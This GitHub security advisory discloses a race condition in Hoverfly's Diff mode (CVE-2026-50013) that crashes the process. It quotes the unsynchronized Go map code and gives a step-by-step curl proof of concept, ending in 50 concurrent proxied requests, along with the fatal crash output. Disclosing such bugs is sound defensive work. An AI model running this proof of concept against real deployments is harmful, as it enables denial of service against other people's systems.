Skip to content

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

High severity GitHub Reviewed Published Jun 3, 2026 in SpectoLabs/hoverfly

Package

gomod github.com/SpectoLabs/hoverfly (Go)

Affected versions

<= 1.12.7

Patched versions

1.12.8

Description

Summary:

When Hoverfly is running in Diff mode, the AddDiff() function writes to the shared responsesDiff map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a fatal error: concurrent map read and map write, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.

Details:

1. Unsynchronized map access in AddDiff() (core/hoverfly_service.go:417-421):

func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
    if len(diffReport.DiffEntries) > 0 {
        diffs := hf.responsesDiff[requestView]                    // UNSYNCHRONIZED READ
        hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
    }
}

2. This function is called from Diff mode processing, which runs concurrently per request (core/modes/diff_mode.go):

Each incoming proxy request is handled in its own goroutine by Go's net/http server. In Diff mode, each request calls AddDiff() after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.

3. Go's runtime detects concurrent map access and terminates the process:

Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls fatal() which is unrecoverable, it cannot be caught by recover().

4. No mutex protection exists on responsesDiff:

The field is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no associated sync.RWMutex. Compare with hf.state which properly uses sync.RWMutex for its map access.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Hoverfly in Diff mode (PUT /api/v2/hoverfly/mode {"mode":"diff"})

POC:

Step 1: Start Hoverfly and set Diff mode

./hoverfly &
sleep 2

# Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
  -H "Content-Type: application/json" \
  -d '{"mode": "diff"}'

# Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "expected"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 2: Send concurrent requests to trigger the race

# Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
    curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait

Step 3: Observe the crash

# Check if process is still running
pgrep -f hoverfly

crash output on Hoverfly v1.12.7:

fatal error: concurrent map read and map write

goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
        /core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)

The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.

Impact:

  • Full denial of service: The process terminates immediately and cannot be recovered without a restart
  • Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
  • No admin API access required: Only proxy port access is needed to trigger the crash
  • Unrecoverable: fatal error in Go cannot be caught by recover() — the process is unconditionally killed
  • Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable

References

@tommysitu tommysitu published to SpectoLabs/hoverfly Jun 3, 2026
Published to the GitHub Advisory Database Jul 14, 2026
Reviewed Jul 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

Missing Synchronization

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource. Learn more on MITRE.

CVE ID

CVE-2026-50013

GHSA ID

GHSA-qrh4-p6v4-mrfg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.